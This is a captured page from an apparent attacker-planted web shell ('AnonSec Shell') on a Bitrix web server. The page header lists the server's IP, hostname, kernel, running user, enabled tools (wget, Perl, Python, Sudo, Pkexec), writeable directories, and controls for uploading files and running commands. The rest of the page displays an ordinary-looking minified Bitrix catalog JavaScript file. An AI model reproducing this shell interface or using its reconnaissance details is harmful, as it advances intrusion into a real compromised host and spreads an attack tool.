AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.223.210.67
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/catalog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/catalog/sub_generator.min.js
function JCIBlockGenerator(e){if(!e){return}this.intERROR=0;this.intIMAGE_ROW_ID=0;this.PREFIX=e.PREFIX;this.PREFIX_TR=this.PREFIX+"ROW_";this.PROP_COUNT_ID=e.PROP_COUNT_ID;this.TABLE_PROP_ID=e.TABLE_PROP_ID;this.AR_ALL_PROPERTIES=e.AR_ALL_PROPERTIES;this.AR_FILE_PROPERTIES=e.AR_FILE_PROPERTIES;this.IMAGE_TABLE_ID=e.IMAGE_TABLE_ID;this.CELLS=[];this.CELL_CENT=[];this.PROPERTY_MAP=[];this.CHECKED_MAP=[];this.SELECTED_PROPERTIES=[];this.lockProperties=false;this.subIBlockId=e.subIBlockId;BX.ready(BX.proxy(this.Init,this))}JCIBlockGenerator.prototype.Init=function(){this.PROP_TBL=BX(this.TABLE_PROP_ID);if(!this.PROP_TBL){this.intERROR=-1;return}this.PROP_COUNT=BX(this.PROP_COUNT_ID);if(!this.PROP_COUNT){this.intERROR=-1;return}for(let e=0;e<this.AR_ALL_PROPERTIES.length;e++){let t=[];if(this.AR_ALL_PROPERTIES[e].hasOwnProperty("VALUE")){for(let a=0;a<this.AR_ALL_PROPERTIES[e]["VALUE"].length;a++)t[this.AR_ALL_PROPERTIES[e]["VALUE"][a]["ID"]]=this.AR_ALL_PROPERTIES[e]["VALUE"][a]["VALUE"]}this.PROPERTY_MAP[this.AR_ALL_PROPERTIES[e]["ID"]]=t;this.CHECKED_MAP[this.AR_ALL_PROPERTIES[e]["ID"]]=[]}};JCIBlockGenerator.prototype.addPropertyTable=function(e){if(this.intERROR<0||BX("property_table"+e))return;this.PROP_TBL=BX(this.TABLE_PROP_ID);const t=Number(BX("generator_property_table_max_id").value);if(t&&t<this.AR_ALL_PROPERTIES.length&&t>0){this.PROP_TBL.appendChild(BX.create("div",{props:{id:"property_separator_"+e,className:"adm-shop-table-increase"}}))}const a=BX.create("div",{props:{id:"property_td_"+e,className:"adm-shop-table-wrap"},style:{verticalAlign:"top"},children:[BX.create("table",{props:{className:"adm-shop-table",id:"property_table"+e},children:[BX.create("tr",{props:{className:"adm-shop-table-title"},children:[BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("span",{text:this.AR_ALL_PROPERTIES[e]["NAME"]})]}),BX.create("td",{props:{className:"adm-shop-table-cell"}}),BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("span",{props:{className:"adm-shop-del-btn"},events:{click:function(t){return function(){t.deleteTd(e)}}(this)}})]})]}),BX.create("tr",{props:{className:"adm-shop-table-header"},children:[BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("span",{text:BX.message("IB_SEG_TITLE")})]}),BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("span",{text:BX.message("IB_SEG_SORT")})]}),BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("input",{props:{type:"checkbox",id:"checked_all_"+e,checked:false,className:"adm-designed-checkbox"},events:{click:function(t){return function(){t.checkboxManage(this,e)}}(this)}}),BX.create("label",{props:{className:"adm-designed-checkbox-label",htmlFor:"checked_all_"+e}})]})]})]})]});this.PROP_TBL.appendChild(a);BX("generator_property_table_max_id").value=Number(BX("generator_property_table_max_id").value)+1;this.AR_ALL_PROPERTIES[e]["USE"]="N";this.CHECKED_MAP[this.AR_ALL_PROPERTIES[e]["ID"]]=[];if(BX("property_table"+e)&&this.AR_ALL_PROPERTIES[e]["VALUE"]){for(let t=0;t<this.AR_ALL_PROPERTIES[e]["VALUE"].length;t++){BX("property_table"+e).appendChild(BX.create("tr",{children:[BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("span",{text:this.AR_ALL_PROPERTIES[e]["VALUE"][t]["VALUE"]}),BX.create("input",{props:{type:"hidden",id:"property_value_"+e,name:"PROPERTY_VALUE["+this.AR_ALL_PROPERTIES[e]["VALUE"][t]["PROPERTY_ID"]+"]["+this.AR_ALL_PROPERTIES[e]["VALUE"][t]["ID"]+"]",value:this.AR_ALL_PROPERTIES[e]["VALUE"][t]["ID"]}})]}),BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("span",{text:this.AR_ALL_PROPERTIES[e]["VALUE"][t]["SORT"]})]}),BX.create("td",{props:{className:"adm-shop-table-cell"},children:[BX.create("input",{props:{type:"checkbox",id:"PROPERTY_CHECK_"+this.AR_ALL_PROPERTIES[e]["VALUE"][t]["PROPERTY_ID"]+"_"+t,checked:false,name:"PROPERTY_CHECK["+this.AR_ALL_PROPERTIES[e]["VALUE"][t]["PROPERTY_ID"]+"]["+this.AR_ALL_PROPERTIES[e]["VALUE"][t]["ID"]+"]",className:"adm-designed-checkbox property_value_checkbox"+e},events:{change:function(e){return function(){e.checkboxMapManage(this)}}(this)}}),BX.create("label",{props:{className:"adm-designed-checkbox-label",htmlFor:"PROPERTY_CHECK_"+this.AR_ALL_PROPERTIES[e]["VALUE"][t]["PROPERTY_ID"]+"_"+t}})]})]}))}}};JCIBlockGenerator.prototype.deleteTd=function(e){const t=BX("property_td_"+e),a=BX("property_table"+e).parentNode.previousSibling,i=BX("property_table"+e).parentNode.nextSibling;let s;let r;if(a){s=BX("property_table"+e).parentNode.previousSibling.className==="adm-shop-table-increase"}if(i){r=BX("property_table"+e).parentNode.nextSibling.className==="adm-shop-table-increase"}if(t){this.AR_ALL_PROPERTIES[e]["USE"]="N";delete this.CHECKED_MAP[this.AR_ALL_PROPERTIES[e]["ID"]];if(s)a.parentNode.removeChild(a);else if(r)i.parentNode.removeChild(i);t.parentNode.removeChild(t);BX("generator_property_table_max_id").value=Number(BX("generator_property_table_max_id").value)-1}};JCIBlockGenerator.prototype.loadAllProperties=function(){let e,t;if(!this.lockProperties){for(let a=0;a<this.AR_ALL_PROPERTIES.length;a++){e=BX("property_table"+a.toString());if(e){for(let a=0;a<e.children.length;a++){t=e.children[a].getElementsByTagName("input")}}this.addPropertyTable(a)}}};JCIBlockGenerator.prototype.checkboxManage=function(e,t){var a=document.getElementsByClassName("property_value_checkbox"+t),i;this.AR_ALL_PROPERTIES[t]["USE"]=e.checked?"Y":"N";if(a){for(i=0;i<a.length;i++){a[i].checked=e.checked;this.checkboxMapManage(a[i])}}};JCIBlockGenerator.prototype.checkboxMapManage=function(e){var t=e.name;var a=e.className;var i=document.getElementsByClassName(a);var s=/\[([0-9a-zA-Z]+)\]/g;var r=/([0-9]+)/g;var _=t.match(s)[0].match(/[0-9a-zA-Z]+/g)[0];var l=t.match(s)[1].match(/[0-9a-zA-Z]+/g)[0];var o=a.match(r);var n=0;if(e.checked){this.CHECKED_MAP[_][l]="Y";this.AR_ALL_PROPERTIES[o]["USE"]="Y"}else{for(var E in i){if(i.hasOwnProperty(E))if(i[E].type==="checkbox"&&!i[E].checked)n++}if(n===i.length){this.AR_ALL_PROPERTIES[o]["USE"]="N"}delete this.CHECKED_MAP[_][l]}};JCIBlockGenerator.prototype.addPropertyImages=function(){let e=false;for(let t in this.CHECKED_MAP){if(this.CHECKED_MAP.hasOwnProperty(t)){for(let a in this.CHECKED_MAP[t]){if(this.CHECKED_MAP[t].hasOwnProperty(a)&&this.CHECKED_MAP[t][a]==="Y"){e=true}}}}if(!e){alert(BX.message("PROPERTY_VALUES_EMPTY"));return}this.disableControls();const t={subIBlockId:this.subIBlockId,PROPERTY_CHECK:this.CHECKED_MAP,PROPERTY_VALUE:this.PROPERTY_MAP,AJAX_MODE:"Y",sessid:BX.bitrix_sessid()};BX.showWait("ib_seg_add_images_button");BX.ajax.post("/bitrix/tools/catalog/iblock_subelement_generator.php",t,BX.proxy(this.fPropertyImagesResult,this))};JCIBlockGenerator.prototype.fPropertyImagesResult=function(result){BX.closeWait();if(result.length>0){if(!BX("image_table_thead")){this.addImageTableHead()}else{BX("image_table_thead").style.display="table-row"}const objMap=eval(result);this.addImageTableRow(objMap)}};JCIBlockGenerator.prototype.addImageTableHead=function(){var e=BX(this.IMAGE_TABLE_ID),t=e.appendChild(BX.create("tr",{props:{id:"image_table_thead",className:"heading"},children:[BX.create("td")]})),a=[];for(let e=0;e<this.AR_ALL_PROPERTIES.length;e++){if(this.AR_ALL_PROPERTIES[e].hasOwnProperty("VALUE")&&typeof this.AR_ALL_PROPERTIES[e]==="object"&&this.AR_ALL_PROPERTIES[e]!==null&&this.AR_ALL_PROPERTIES[e].USE!=="N"){t.appendChild(BX.create("td",{text:this.AR_ALL_PROPERTIES[e].NAME}))}}for(let e in this.SELECTED_PROPERTIES){if(!this.SELECTED_PROPERTIES.hasOwnProperty(e)){continue}if(BX.util.in_array(this.SELECTED_PROPERTIES[e],a)){continue}if(this.SELECTED_PROPERTIES[e]==="DETAIL"){t.appendChild(BX.create("td",{text:BX.message("IB_SEG_DETAIL")}))}if(this.SELECTED_PROPERTIES[e]==="ANNOUNCE"){t.appendChild(BX.create("td",{text:BX.message("IB_SEG_ANNOUNCE")}))}for(let a in this.AR_FILE_PROPERTIES){if(this.AR_FILE_PROPERTIES.hasOwnProperty(a)){if(this.AR_FILE_PROPERTIES[a].ID===this.SELECTED_PROPERTIES[e]){t.appendChild(BX.create("td",{text:this.AR_FILE_PROPERTIES[a]["NAME"]}))}}}a[a.length]=this.SELECTED_PROPERTIES[e]}};JCIBlockGenerator.prototype.addImageTableRow=function(e){let t=BX(this.IMAGE_TABLE_ID);let a;let i=[];let s;for(let t in e){if(e.hasOwnProperty(t)){s=e[t]}}this.intIMAGE_ROW_ID=0;if(BX("ib_seg_max_image_row_id")){this.intIMAGE_ROW_ID=BX("ib_seg_max_image_row_id").value;BX("ib_seg_max_image_row_id").value=Number(BX("ib_seg_max_image_row_id").value)+1}if(BX("image_table_tbody")){a=BX("image_table_tbody")}else{a=t.appendChild(BX.create("tbody",{props:{id:"image_table_tbody"}}))}var r=a.appendChild(BX.create("tr",{props:{id:"ib_seg_image_row_"+this.intIMAGE_ROW_ID,className:"ib_seg_image_row"}}));r.appendChild(BX.create("td",{children:[BX.create("div",{props:{className:"adm-shop-del-btn"},style:{marginLeft:"5px"},events:{click:function(){return function(){const e=this.parentNode.parentNode;e.style.display="none";e.className+="_hidden";let t=e.getElementsByTagName("select");for(let e in t){if(t.hasOwnProperty(e)&&!isNaN(e)){t[e].appendChild(BX.create("OPTION",{props:{value:-2},text:"-2"}));t[e].value=-2}}let a=BX("image_table_tbody").querySelectorAll("tr.ib_seg_image_row");if(a.length===0&&BX("image_table_thead")){BX("image_table_thead").style.display="none"}}}()}})]}));for(let e=0;e<this.AR_ALL_PROPERTIES.length;e++){if(this.AR_ALL_PROPERTIES[e].hasOwnProperty("VALUE")&&typeof this.AR_ALL_PROPERTIES[e]==="object"&&this.AR_ALL_PROPERTIES[e]!==null&&this.AR_ALL_PROPERTIES[e].USE!=="N"){const t=this.AR_ALL_PROPERTIES[e].ID;if(typeof s[t]!=="undefined"){let e=[BX.create("OPTION",{props:{value:-1},text:BX.message("IB_SEG_FOR_ALL")})];for(let a in s[t]){if(s[t].hasOwnProperty(a)){e[e.length]=BX.create("OPTION",{props:{value:a},text:s[t][a]})}}r.appendChild(BX.create("td",{children:[BX.create("span",{props:{className:"adm-select-wrap"},children:[BX.create("select",{props:{className:"adm-select",name:"PROP["+t+"]["+this.intIMAGE_ROW_ID+"]",id:"PROP["+t+"]["+this.intIMAGE_ROW_ID+"]"},style:{width:"130px"},children:e})]})]}))}}}for(let e in this.SELECTED_PROPERTIES){if(!this.SELECTED_PROPERTIES.hasOwnProperty(e)){continue}if(BX.util.in_array(this.SELECTED_PROPERTIES[e],i)){continue}this.fIblockInputGet(this.SELECTED_PROPERTIES[e]);i[i.length]=this.SELECTED_PROPERTIES[e]}};JCIBlockGenerator.prototype.fIblockInputResult=function(e){const t=Math.random();let a=BX("ib_seg_image_row_"+this.intIMAGE_ROW_ID).appendChild(BX.create("td",{props:{id:"ib_seg_image_td_"+this.intIMAGE_ROW_ID+"_"+t}}));a.innerHTML=e;if(BX("ib_seg_image_td_"+this.intIMAGE_ROW_ID+"_"+t).firstChild){BX.bind(BX("ib_seg_image_td_"+this.intIMAGE_ROW_ID+"_"+t).firstChild,"click",BX.proxy((function(e){BX("bx_admin_form").parentNode.scrollTop+=60}),this))}};JCIBlockGenerator.prototype.fIblockInputGet=function(e){const t={AJAX_MODE:"Y",sessid:BX.bitrix_sessid(),GET_INPUT:"Y",PROPERTY_ID:e,ROW_ID:this.intIMAGE_ROW_ID};BX.ajax({method:"POST",dataType:"html",url:"/bitrix/tools/catalog/iblock_subelement_generator_ajax.php",data:BX.ajax.prepareData(t),async:false,onsuccess:BX.proxy(this.fIblockInputResult,this)})};JCIBlockGenerator.prototype.disableControls=function(){let e;this.lockProperties=true;for(let t=0;t<this.AR_ALL_PROPERTIES.length;t++){if(BX("checked_all_"+t.toString())){BX("checked_all_"+t.toString()).onclick=function(){return false}}e=document.getElementsByClassName("property_value_checkbox"+t.toString());const a=e.length;for(let t=0;t<a;t++){if(e[t]){e[t].onclick=function(){return false};if(e[t].nextSibling.className==="adm-designed-checkbox-label"){if(e[t].checked){e[t].nextSibling.style.backgroundPosition="0 -3459px"}else{e[t].nextSibling.style.backgroundPosition="0 -1350px"}}}}}let t=BX("ib_seg_select_prop_bar").querySelectorAll("select");[].forEach.call(t,(function e(t){t.disabled=true}));let a=BX(this.TABLE_PROP_ID).querySelectorAll("span.adm-shop-del-btn");[].forEach.call(a,(function e(t){t.parentNode.innerHTML+=" "}));if(BX("ib_seg_property_add_button_span_click")){BX("ib_seg_property_add_button_span_click").parentNode.innerHTML=""}if(BX("mnu_ADD_PROPERTY")){BX("mnu_ADD_PROPERTY").parentNode.innerHTML+=" "}};JCIBlockGenerator.prototype.addPropertyInTitle=function(e){const t=BX("IB_SEG_TITLE");if(t){t.value+=" "+e}};
//# sourceMappingURL=sub_generator.map.js

Anon7 - 2022
AnonSec Team